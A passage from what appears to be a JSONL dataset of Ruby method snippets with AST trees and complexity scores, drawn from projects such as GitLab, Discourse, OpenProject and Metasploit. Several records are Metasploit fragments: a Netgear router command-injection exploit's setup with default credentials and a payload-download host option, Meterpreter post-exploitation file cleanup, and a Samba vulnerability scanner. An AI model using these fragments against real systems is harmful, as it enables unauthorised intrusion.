\"]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@tags_string\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]}]}]}]}]}]}]}","id":"eaea99b6-80f6-4c7b-93bd-b3527ef50c12"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/lib/summarization/fold_content.rb","start_line":74,"raw_source":"def latest_sha\n        @latest_sha ||= AiSummary.build_sha(content_to_summarize.map { |c| c[:id] }.join)\n      end","complexity_score":9.1,"ast_json":"{\"type\":\"def\",\"children\":[\"latest_sha\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@latest_sha\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AiSummary\"]},\"build_sha\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"content_to_summarize\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"c\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]},\"join\"]}]}]}]}","id":"439026d9-388f-442a-b8ca-5a998957b2a4"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/ci/catalog/resources/version.rb","start_line":54,"raw_source":"def versions_for_catalog_resources(catalog_resources)\n            return none if catalog_resources.empty?\n\n            for_catalog_resources(catalog_resources).with_semver.order_by_semantic_version_desc\n          end","complexity_score":6.7,"ast_json":"{\"type\":\"def\",\"children\":[\"versions_for_catalog_resources\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"catalog_resources\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"catalog_resources\"]},\"empty?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"none\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"for_catalog_resources\",{\"type\":\"lvar\",\"children\":[\"catalog_resources\"]}]},\"with_semver\"]},\"order_by_semantic_version_desc\"]}]}]}","id":"210f7456-d19f-463a-b2e2-bcee0729b33d"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/lib/ansible/runner/response_async.rb","start_line":25,"raw_source":"def running?\n        Ansible::Runner.raw_execute(:params => [\"is-alive\", base_dir, :json, {:ident => \"result\"}]).success?\n      end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"running?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Ansible\"]},\"Runner\"]},\"raw_execute\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"params\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"is-alive\"]},{\"type\":\"send\",\"children\":[null,\"base_dir\"]},{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ident\"]},{\"type\":\"str\",\"children\":[\"result\"]}]}]}]}]}]}]},\"success?\"]}]}","id":"c0946552-7698-4740-a761-bba1c28707e7"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/controllers/oauth_clients_controller.rb","start_line":75,"raw_source":"def ensure_connection\n    client_id = params.fetch(:oauth_client_id)\n    storage_id = params.fetch(:storage_id)\n    oauth_client = OAuthClient.find_by(client_id:, integration_id: storage_id)\n\n    handle_absent_oauth_client unless oauth_client\n\n    storage = oauth_client.integration\n    # check if the origin is the same\n    destination_url = destination_url(params.fetch(:destination_url, \"\"))\n    auth_state = ::Storages::Adapters::Authentication.authorization_state(storage:, user: User.current)\n\n    if auth_state == :connected\n      redirect_to(destination_url)\n    else\n      nonce = SecureRandom.uuid\n      cookies[\"oauth_state_#{nonce}\"] = { value: { href: destination_url, storageId: storage_id }.to_json, expires: 1.hour }\n      redirect_to(storage.oauth_configuration.authorization_uri(state: nonce), allow_other_host: true)\n    end\n  end","complexity_score":35.15,"ast_json":"{\"type\":\"def\",\"children\":[\"ensure_connection\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"client_id\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"fetch\",{\"type\":\"sym\",\"children\":[\"oauth_client_id\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"storage_id\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"fetch\",{\"type\":\"sym\",\"children\":[\"storage_id\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"oauth_client\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OAuthClient\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"client_id\"]},{\"type\":\"lvar\",\"children\":[\"client_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"integration_id\"]},{\"type\":\"lvar\",\"children\":[\"storage_id\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"oauth_client\"]},null,{\"type\":\"send\",\"children\":[null,\"handle_absent_oauth_client\"]}]},{\"type\":\"lvasgn\",\"children\":[\"storage\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"oauth_client\"]},\"integration\"]}]},{\"type\":\"lvasgn\",\"children\":[\"destination_url\",{\"type\":\"send\",\"children\":[null,\"destination_url\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"fetch\",{\"type\":\"sym\",\"children\":[\"destination_url\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"auth_state\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Storages\"]},\"Adapters\"]},\"Authentication\"]},\"authorization_state\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"storage\"]},{\"type\":\"lvar\",\"children\":[\"storage\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"current\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"auth_state\"]},\"==\",{\"type\":\"sym\",\"children\":[\"connected\"]}]},{\"type\":\"send\",\"children\":[null,\"redirect_to\",{\"type\":\"lvar\",\"children\":[\"destination_url\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"nonce\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SecureRandom\"]},\"uuid\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cookies\"]},\"[]=\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"oauth_state_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"nonce\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"href\"]},{\"type\":\"lvar\",\"children\":[\"destination_url\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"storageId\"]},{\"type\":\"lvar\",\"children\":[\"storage_id\"]}]}]},\"to_json\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"expires\"]},{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[1]},\"hour\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"redirect_to\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"storage\"]},\"oauth_configuration\"]},\"authorization_uri\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"state\"]},{\"type\":\"lvar\",\"children\":[\"nonce\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"allow_other_host\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}]}]}","id":"0e17ecbe-cda3-4d7c-9790-0da63c350668"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/netgear_dgn1000b_setup_exec.rb","start_line":14,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Netgear DGN1000B setup.cgi Remote Command Execution',\n        'Description' => %q{\n          Some Netgear Routers are vulnerable to authenticated OS Command injection. The\n          vulnerability exists in the web interface, specifically in the setup.cgi component,\n          when handling the TimeToLive parameter. Default credentials are always a good\n          starting point, admin/admin or admin/password could be a first try. Since it is a\n          blind os command injection vulnerability, there is no output for the executed\n          command when using the cmd generic payload. A ping command against a controlled\n          system could be used for testing purposes.\n        },\n        'Author' => [\n          'Michael Messner <devnull[at]s3cur1ty.de>', # Vulnerability discovery and Metasploit module\n          'juan vazquez' # minor help with msf module\n        ],\n        'License' => MSF_LICENSE,\n        'References' => [\n          [ 'CVE', '2013-10061' ],\n          [ 'BID', '57836' ],\n          [ 'EDB', '24464' ],\n          [ 'OSVDB', '89985' ],\n          [ 'URL', 'http://www.s3cur1ty.de/m1adv2013-005' ]\n        ],\n        'DisclosureDate' => '2013-02-06',\n        'Privileged' => true,\n        'Platform' => %w{linux unix},\n        'Payload' => {\n          'DisableNops' => true\n        },\n        'Targets' => [\n          [\n            'CMD',\n            {\n              'Arch' => ARCH_CMD,\n              'Platform' => 'unix'\n            }\n          ],\n          [\n            'Linux mipsbe Payload',\n            {\n              'Arch' => ARCH_MIPSBE,\n              'Platform' => 'linux'\n            }\n          ],\n        ],\n        'DefaultTarget' => 1,\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n\n    register_options(\n      [\n        OptString.new('HttpUsername', [ true, 'The username to authenticate as', 'admin' ]),\n        OptString.new('HttpPassword', [ true, 'The password for the specified username', 'password' ]),\n        OptAddress.new('DOWNHOST', [ false, 'An alternative host to request the MIPS payload from' ]),\n        OptString.new('DOWNFILE', [ false, 'Filename to download, (default: random)' ]),\n        OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the ELF payload request', 60])\n      ]\n    )\n  end","complexity_score":10.65,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Netgear DGN1000B setup.cgi Remote Command Execution\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          Some Netgear Routers are vulnerable to authenticated OS Command injection. The\\n\"]},{\"type\":\"str\",\"children\":[\"          vulnerability exists in the web interface, specifically in the setup.cgi component,\\n\"]},{\"type\":\"str\",\"children\":[\"          when handling the TimeToLive parameter. Default credentials are always a good\\n\"]},{\"type\":\"str\",\"children\":[\"          starting point, admin/admin or admin/password could be a first try. Since it is a\\n\"]},{\"type\":\"str\",\"children\":[\"          blind os command injection vulnerability, there is no output for the executed\\n\"]},{\"type\":\"str\",\"children\":[\"          command when using the cmd generic payload. A ping command against a controlled\\n\"]},{\"type\":\"str\",\"children\":[\"          system could be used for testing purposes.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Michael Messner <devnull[at]s3cur1ty.de>\"]},{\"type\":\"str\",\"children\":[\"juan vazquez\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2013-10061\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"BID\"]},{\"type\":\"str\",\"children\":[\"57836\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"EDB\"]},{\"type\":\"str\",\"children\":[\"24464\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"OSVDB\"]},{\"type\":\"str\",\"children\":[\"89985\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"http://www.s3cur1ty.de/m1adv2013-005\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2013-02-06\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"linux\"]},{\"type\":\"str\",\"children\":[\"unix\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisableNops\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CMD\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_CMD\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"unix\"]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Linux mipsbe Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_MIPSBE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"linux\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"HttpUsername\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The username to authenticate as\"]},{\"type\":\"str\",\"children\":[\"admin\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"HttpPassword\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The password for the specified username\"]},{\"type\":\"str\",\"children\":[\"password\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptAddress\"]},\"new\",{\"type\":\"str\",\"children\":[\"DOWNHOST\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"An alternative host to request the MIPS payload from\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"DOWNFILE\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Filename to download, (default: random)\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptInt\"]},\"new\",{\"type\":\"str\",\"children\":[\"HTTP_DELAY\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Time that the HTTP Server will wait for the ELF payload request\"]},{\"type\":\"int\",\"children\":[60]}]}]}]}]}]}]}","id":"f52eff7a-bda2-4cd9-aab9-83076ce05f50"}
{"repo_name":"liquid","file_path":"./repos/liquid/lib/liquid/environment.rb","start_line":42,"raw_source":"def build(tags: nil, file_system: nil, error_mode: nil, exception_renderer: nil)\n        ret = new\n        ret.tags = tags if tags\n        ret.file_system = file_system if file_system\n        ret.error_mode = error_mode if error_mode\n        ret.exception_renderer = exception_renderer if exception_renderer\n        yield ret if block_given?\n        ret.freeze\n      end","complexity_score":14.5,"ast_json":"{\"type\":\"def\",\"children\":[\"build\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"tags\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"file_system\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"error_mode\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"exception_renderer\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ret\",{\"type\":\"send\",\"children\":[null,\"new\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tags\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ret\"]},\"tags=\",{\"type\":\"lvar\",\"children\":[\"tags\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file_system\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ret\"]},\"file_system=\",{\"type\":\"lvar\",\"children\":[\"file_system\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error_mode\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ret\"]},\"error_mode=\",{\"type\":\"lvar\",\"children\":[\"error_mode\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exception_renderer\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ret\"]},\"exception_renderer=\",{\"type\":\"lvar\",\"children\":[\"exception_renderer\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"block_given?\"]},{\"type\":\"yield\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ret\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ret\"]},\"freeze\"]}]}]}","id":"1bd510e9-5784-43f5-b612-008ea942747c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/banzai/filter/mermaid_filter.rb","start_line":12,"raw_source":"def call\n        doc.xpath(XPATH).add_class('js-render-mermaid')\n\n        doc\n      end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"doc\"]},\"xpath\",{\"type\":\"const\",\"children\":[null,\"XPATH\"]}]},\"add_class\",{\"type\":\"str\",\"children\":[\"js-render-mermaid\"]}]},{\"type\":\"send\",\"children\":[null,\"doc\"]}]}]}","id":"6b9a5df0-f99c-434b-8902-5868ffa37d01"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/error_tracking/sentry_client/issue.rb","start_line":72,"raw_source":"def parse_issue_annotations(issue)\n        issue\n          .fetch('annotations', [])\n          .reject(&:blank?)\n          .map { |annotation| Nokogiri.make(annotation) }\n          .find { |html| html['href']&.starts_with?(Gitlab.config.gitlab.url) }\n          .try(:[], 'href')\n      end","complexity_score":20.9,"ast_json":"{\"type\":\"def\",\"children\":[\"parse_issue_annotations\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"issue\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"issue\"]},\"fetch\",{\"type\":\"str\",\"children\":[\"annotations\"]},{\"type\":\"array\",\"children\":[]}]},\"reject\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"blank?\"]}]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"annotation\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Nokogiri\"]},\"make\",{\"type\":\"lvar\",\"children\":[\"annotation\"]}]}]},\"find\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"html\"]}]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"html\"]},\"[]\",{\"type\":\"str\",\"children\":[\"href\"]}]},\"starts_with?\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"config\"]},\"gitlab\"]},\"url\"]}]}]},\"try\",{\"type\":\"sym\",\"children\":[\"[]\"]},{\"type\":\"str\",\"children\":[\"href\"]}]}]}","id":"99665a92-8853-4de0-b251-5522357becbd"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/browser/notes_handler_cmdinject.rb","start_line":83,"raw_source":"def on_new_session(session)\n    if session.type == \"meterpreter\"\n      session.core.use(\"stdapi\") unless session.ext.aliases.include?(\"stdapi\")\n\n      @dropped_files.delete_if do |file|\n        win_file = file.gsub(\"/\", \"\\\\\\\\\")\n        begin\n          wintemp = session.sys.config.getenv('TEMP')\n          win_file = \"#{wintemp}\\\\#{win_file}\"\n          # Meterpreter should do this automatically as part of\n          # fs.file.rm().  Until that has been implemented, remove the\n          # read-only flag with a command.\n          session.shell_command_token(%Q|attrib.exe -r \"#{win_file}\"|)\n          session.fs.file.rm(win_file)\n          print_good(\"Deleted #{file}\")\n          true\n        rescue ::Rex::Post::Meterpreter::RequestError\n          print_error(\"Failed to delete #{win_file}\")\n          false\n        end\n      end\n    end\n  end","complexity_score":36.7,"ast_json":"{\"type\":\"def\",\"children\":[\"on_new_session\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"session\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"session\"]},\"type\"]},\"==\",{\"type\":\"str\",\"children\":[\"meterpreter\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"session\"]},\"ext\"]},\"aliases\"]},\"include?\",{\"type\":\"str\",\"children\":[\"stdapi\"]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"session\"]},\"core\"]},\"use\",{\"type\":\"str\",\"children\":[\"stdapi\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@dropped_files\"]},\"delete_if\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"file\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"win_file\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]},\"gsub\",{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"str\",\"children\":[\"\\\\\\\\\"]}]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"wintemp\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"session\"]},\"sys\"]},\"config\"]},\"getenv\",{\"type\":\"str\",\"children\":[\"TEMP\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"win_file\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"wintemp\"]}]},{\"type\":\"str\",\"children\":[\"\\\\\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"win_file\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"session\"]},\"shell_command_token\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"attrib.exe -r \\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"win_file\"]}]},{\"type\":\"str\",\"children\":[\"\\\"\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"session\"]},\"fs\"]},\"file\"]},\"rm\",{\"type\":\"lvar\",\"children\":[\"win_file\"]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Deleted \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]}]}]}]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"Post\"]},\"Meterpreter\"]},\"RequestError\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Failed to delete \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"win_file\"]}]}]}]},{\"type\":\"false\",\"children\":[]}]}]},null]}]}]}]}]},null]}]}","id":"69c44791-4b61-4746-b22b-157a33818078"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/smb/smb_uninit_cred.rb","start_line":250,"raw_source":"def run_host(ip)\n    peer = \"#{ip}:#{rport}\"\n    case check_host(ip)\n    when Exploit::CheckCode::Vulnerable\n      print_good(\"The target is vulnerable to CVE-2015-0240.\")\n    when Exploit::CheckCode::Appears\n      print_good(\"The target appears to be vulnerable to CVE-2015-0240.\")\n    when Exploit::CheckCode::Detected\n      print_status(\"The target appears to be running Samba.\")\n    else\n      print_status(\"The target appears to be safe\")\n    end\n  